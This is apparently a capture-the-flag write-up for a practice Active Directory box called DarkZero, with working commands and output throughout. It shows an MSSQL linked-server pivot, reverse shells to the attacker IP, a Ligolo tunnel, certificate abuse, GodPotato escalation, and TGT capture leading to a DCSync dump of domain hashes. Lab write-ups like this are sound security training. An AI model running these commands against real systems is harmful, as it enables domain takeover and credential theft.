Initial Enumeration
Machine Information
As is common in real life pentests, you will start the DarkZero box with credentials for the following account john.w / RFulUtONCOL!
Initial Nmap scan revealed multiple open ports consistent with a Windows Active Directory environment:
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap 10.129.183.23
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-07 11:05 EDT
Nmap scan report for darkzero.htb (10.129.183.23)
Host is up (0.029s latency).
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
DNS Information (from Nmap service detection & MS-SQL info scripts): nmap options : -A -v reveals the following :
- DNS Domain Name:
darkzero.htb - DNS Computer Name:
DC01.darkzero.htb - DNS Tree Name:
darkzero.htb - NetBIOS Domain Name:
darkzero - NetBIOS Computer Name:
DC01
SMB Enumeration
Using the credentials obtained earlier (john.w:RFulUtONCOL!) from the machine info, SMB enumeration was performed with smbmap:
Observations:
- Read-only access to:
IPC$(Remote IPC)NETLOGON(Logon server share)SYSVOL(Logon server share)
DNS Enumeration
DNS enumeration was performed against the domain controller:
Key Findings:
-
Public/Internal IPs for
darkzero.htb:-
10.129.183.23 -
172.16.20.1(internal IP — important for lateral movement)
-
-
Name Server:
dc01.darkzero.htb -
SOA Record:
dc01.darkzero.htb. hostmaster.darkzero.htb. -
DNS Computer Name:
dc01.darkzero.htb
So , DNS enumeration revealed an internal IP (172.16.20.1), suggesting possible internal access points.
Using the credentials obtained earlier (john.w:RFulUtONCOL!), MSSQL was accessed:
MSSQL Enumeration:
Inside the MSSQL shell Tried to enable the shell but failed so looked for if there is a linked server :
This command revealed a linked server named: DC02.darkzero.ext
Next , I tried to Pivot to the Linked Server:
Running Commands:
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell whoami /priv
output
---------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
Outcome:
Command execution was successfully enabled on the linked server, confirming a lateral movement path via MSSQL.
Upgrading the Shell
To upgrade to a stable shell, we generated a reverse shell payload via revshells.com and executed it on the linked server:
Result:
Connection established back as darkzero-ext\svc_sql:
Note: After obtaining a reverse shell via Netcat, I decided to switch to Metasploit for better enumeration capabilities. However, during the process, I faced issues upgrading the shell to a Meterpreter session. Attempts to use sessions -u with post/multi/manage/shell_to_meterpreter failed due to architecture incompatibilities. Eventually, I resolved this by manually uploading a Meterpreter executable to the target and executing it, successfully upgrading the shell for enhanced control and further enumeration.
After ~4 hours of testing noisy LPEs I found a GPO backup at C:\Policy_Backup.inf. The file shows privilege assignments and service accounts:
SeServiceLogonRight = ... , svc_sql, SQLServer2005SQLBrowserUser$DC02, ...
SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-6
This indicates svc_sql is tied to service logon rights and SeImpersonatePrivilege is present
Exploitation chain (what I did)
-
Create tunnel to internal network (Ligolo)
-
Attacker (proxy):
./proxy -selfcert -laddr 0.0.0.0:11601 -
Target (agent):
.\agent.exe -connect 10.10.14.72:11601 -ignore-cert
-
-
Request a certificate for
svc_sql(via Certify.exe using the CA):
.\Certify.exe request /ca:DC02\darkzero-ext-DC02-CA /template:User
Saved certificate to cert.pem in my machine
3. Convert certificate to PFX (no password):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- Use certipy to get a TGT and extract NT hash:
certipy-ad auth -pfx cert.pfx -dc-ip 172.16.20.2
Result:
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
- Reset
svc_sqlpassword using recovered hash
┌──(kali㉿kali)-[~/Desktop]
└─$ changepasswd.py svc_sql@172.16.20.2 -hashes :816ccb849956b531db139346751db65f -newpass 'Password@123!' -dc-ip 172.16.20.2
/home/kali/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of Builtin\svc_sql
[*] Connecting to DCE/RPC as Builtin\svc_sql
[*] Password was changed successfully.
Getting a higher privilege shell
After successfully changing the password , , I proceeded to gain a higher privilege shell for further enumeration
- Started a Netcat listener on my machine:
rlwrap nc -lnvp 2001
- Used
RunasCs.exeto execute a reverse PowerShell shell withsvc_sqlcredentials:
.\RunasCs.exe svc_sql 'Password@123!' powershell -l 5 -b -r 10.10.14.72:2001
- Runs PowerShell as the new user, bypassing UAC restrictions.
- Received a higher privilege shell:
💡 Summary:
This process combined enumeration, privilege discovery, tunneling, certificate abuse, password reset, and UAC bypass to escalate privileges effectively. Each step was crucial to move from a limited reverse shell to a fully controlled higher privilege environment.
Privilege Escalation with SeImpersonatePrivilege (GodPotato) After obtaining a higher‑privilege reverse shell, I checked the privileges of the current account:
PS C:\users\public> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\users\public>
Note:
The presence ofSeImpersonatePrivilegewith state Enabled means the account can impersonate other tokens after authentication. On Windows Server environments, this can be exploited for privilege escalation using tools such as GodPotato.
Checking .NET Version GodPotato binaries require compatibility with the installed .NET Framework version. I checked the system registry:
PS C:\Windows\system32> dir 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP'
dir 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP'
Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP
Name Property
---- --------
CDF
v4
v4.0 (default) : deprecated
Note:
The system only has .NET Framework v4 installed, so I chose GodPotato-NET4.exe for exploitation.
Running GodPotato for Privilege Escalation
I executed GodPotato with a command to reset the administrator password.
PS C:\users\public> .\GodPotato.exe -cmd 'net user administrator StrongPassword12@'
.\GodPotato.exe -cmd 'net user administrator StrongPassword12@'
[*] CombaseModule: 0x140737203798016
[*] DispatchTable: 0x140737206384968
[*] UseProtseqFunction: 0x140737205680304
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\c47e9bd3-7837-474e-8a7a-49a152630f66\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00001c02-0b04-ffff-e153-9fe3ef6e4d59
[*] DCOM obj OXID: 0x953f19701e8ed431
[*] DCOM obj OID: 0x7a9b210e25b506a6
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 1004 Token:0x720 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3512
The command completed successfully.
PS C:\users\public>
GodPotato execution notes:
-
GodPotato abuses the SeImpersonatePrivilege via DCOM activation to escalate privileges to SYSTEM.
-
It creates a named pipe, impersonates the SYSTEM token, and executes the specified command with elevated privileges.
-
The output confirms successful token impersonation and execution.
Verifying Privilege Escalation
I started a listener and ran the command as Administrator using RunasCs.exe:
.\RunasCs.exe administrator 'StrongPassword12@' powershell -r 10.10.14.72:2025
Listener output:
┌──(kali㉿kali)-[~/Desktop]
└─$ rlwrap nc -lnvp 2025
listening on [any] 2025 ...
connect to [10.10.14.72] from (UNKNOWN) [10.129.212.197] 55513
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
darkzero-ext\administrator
Note:
This confirms we successfully escalated to administrator.
Accessing the User Flag
PS C:\Windows\system32> whoami
whoami
darkzero-ext\administrator
PS C:\Windows\system32> cd ../../users/administrator
cd ../../users/administrator
PS C:\users\administrator> cd Desktop
cd Desktop
PS C:\users\administrator\Desktop> ls
ls
Directory: C:\users\administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/8/2025 9:19 AM 34 user.txt
PS C:\users\administrator\Desktop> type user.txt
type user.txt
THE FLAG
PS C:\users\administrator\Desktop>
Final Note:
The SeImpersonatePrivilege exploitation using GodPotato on a Windows Server 2022 machine allowed us to escalate from a normal service account to full SYSTEM privileges and access the Administrator account, ultimately retrieving the user flag.
ROOT
After confirming that DC02 had Unconstrained Delegation enabled, we leveraged the MSSQL instance on DC01 (accessible as john.w) to force DC01 to authenticate to DC02, allowing us to capture its TGT.
Step 1 – Coerce DC01 to authenticate to DC02
used xp_dirtree to trigger the connection back:
xp_dirtree \\DC02.darkzero.ext\pwn
Step 2 – Capture and extract DC01$’s TGT
On DC02, Rubeus.exe monitor /interval:5 /nowrap caught an incoming TGT for the machine account DC01$.
We saved the base64 ticket as dc01.kirbi.b64 and decoded it:
cat dc01.kirbi.b64 | base64 -d > dc01.kirbi
ticketConverter.py dc01.kirbi dc01.ccache
Step 3 – Load & verify the ticket
exported the converted ticket into our Kerberos cache and verified it:
export KRB5CCNAME=dc01.ccache
klist dc01.ccache
output confirmed
Default principal: DC01$@DARKZERO.HTB
krbtgt/DARKZERO.HTB@DARKZERO.HTB
Step 4 – Perform DCSync to dump domain hashes
Time was out of sync at first (KRB_AP_ERR_SKEW), so I synced it:
sudo ntpdate 10.129.212.197
Then ran the DCSync attack using the captured DC01$ TGT:
┌──(kali㉿kali)-[~/Desktop]
└─$ secretsdump.py darkzero.htb/'DC01$'@DC01.darkzero.htb -k -no-pass -dc-ip 10.129.212.197
/home/kali/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::
darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:95e4ba6219aced32642afa4661781d4b:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41
krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3
krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7
john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea
john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd
john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e
john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db
john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b
DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941
DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db
DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a
darkzero-ext$:aes256-cts-hmac-sha1-96:eec6ace095e0f3b33a9714c2a23b19924542ba13a3268ea6831410020e1c11f3
darkzero-ext$:aes128-cts-hmac-sha1-96:3efb8a66f0a09fbc6602e46f22e8fc1c
darkzero-ext$:0x17:95e4ba6219aced32642afa4661781d4b
[*] Cleaning up...
What I learned
- Check AD stuff first (DNS, GPOs, LDAP) and small files like
Policy_Backup.infcan blow the box open. - MS-SQL (xp_cmdshell/xp_dirtree) is a great pivot: can force auths or run commands.
- If Meterpreter upgrade fails, upload a compatible exe and run it — reliable fallback.
SeImpersonatePrivilege+ GodPotato (or RunAsCs) = local → SYSTEM quickly.- Kerberos ticket tricks: capture
.kirbi, convert to.ccache, setKRB5CCNAME, then usesecretsdump -k(watch clock skew). - Unconstrained delegation = easy path to DCSync and full domain compromise.